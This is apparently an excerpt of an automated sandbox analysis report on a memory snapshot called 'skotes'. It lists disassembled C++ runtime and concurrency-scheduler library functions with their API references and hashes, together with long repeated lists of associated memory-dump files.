Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041bb8124cb9a17c88949b6dbf1b1a2c98a462071e852060c5941a3a15defa69
Instruction ID: 39d684943e75435760fb68d69cafd24efd3b16b873fc6d921cb31f8006e1af20
Opcode Fuzzy Hash: 041bb8124cb9a17c88949b6dbf1b1a2c98a462071e852060c5941a3a15defa69
Instruction Fuzzy Hash: 4B518CB2E026068BDB25CF58E8C57AABBF1FB58304F24C56AD405EB251D378AE40CF54

Function 0079F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0079F2BB

Strings

pEvents, xrefs: 0079F2B3

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 715f47d339c03ce9d68f3f66742c7f09caf8e9f20cb26cc9a91549ca349b2470
Instruction ID: 39063cc2f3ee51c0538ac9412ecc8c284ea919e7e67455bb3ac316f7e8585913
Opcode Fuzzy Hash: 715f47d339c03ce9d68f3f66742c7f09caf8e9f20cb26cc9a91549ca349b2470
Instruction Fuzzy Hash: E4817A31D00219DBCF25DFA8E985BAEB7B5BF45310F244529E401EB282DB3CAE45CB91

Function 007B26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007B26E3

Part of subcall function 007B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007B2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007B2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007B275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 007B27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 007B27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 007B2846

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 34bc7790c5968056db25710d7d4cdc4a9a826e0c933eada0666e23b4fdff83ea
Instruction ID: dc7d73fea3fb55995d778f77b05238de34fdd0feeeab503b517199bc59589f5a
Opcode Fuzzy Hash: 34bc7790c5968056db25710d7d4cdc4a9a826e0c933eada0666e23b4fdff83ea
Instruction Fuzzy Hash: 9581BC30901249EBDF169F54C994BFE7BB2AF56304F040098ED417B263CB3A9D26DB61

Function 007B2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007B2982

Part of subcall function 007B24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007B29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007B29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007B29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 007B2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 007B2AD8

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8a921db9fb9d858bfdbbe4a72528e9b93950afb211200d01a5ba37dc67042252
Instruction ID: c3cb96aea6ac069a18c58fdca2e54e01d0504b98a9a70bd3d17f4b76bfbe1c5e
Opcode Fuzzy Hash: 8a921db9fb9d858bfdbbe4a72528e9b93950afb211200d01a5ba37dc67042252
Instruction Fuzzy Hash: F571AB70901249AFDF15DF58C885BFEBBB2AF45304F044098EC416B263DB399D16DB61

Function 007A2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007A2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A2913

Part of subcall function 007A07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 007A080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 007A2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A29DB

Part of subcall function 007A07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 007A07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 007A2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007A2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007A2A7E

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: b749f7e0a9a9d46ef6b3702da46f114651d40d3a275ac8560d8f2e85c6fa03e5
Instruction ID: 95326ce378fd4d7be664dcd3fc7b923542c770cc53fbd7ccc402d15cab80a885
Opcode Fuzzy Hash: b749f7e0a9a9d46ef6b3702da46f114651d40d3a275ac8560d8f2e85c6fa03e5
Instruction Fuzzy Hash: 7F81D471A0159ADBCB18DF6CD8D056DB7B1BF8E314B14822DE845EB242D73C6D42CB94

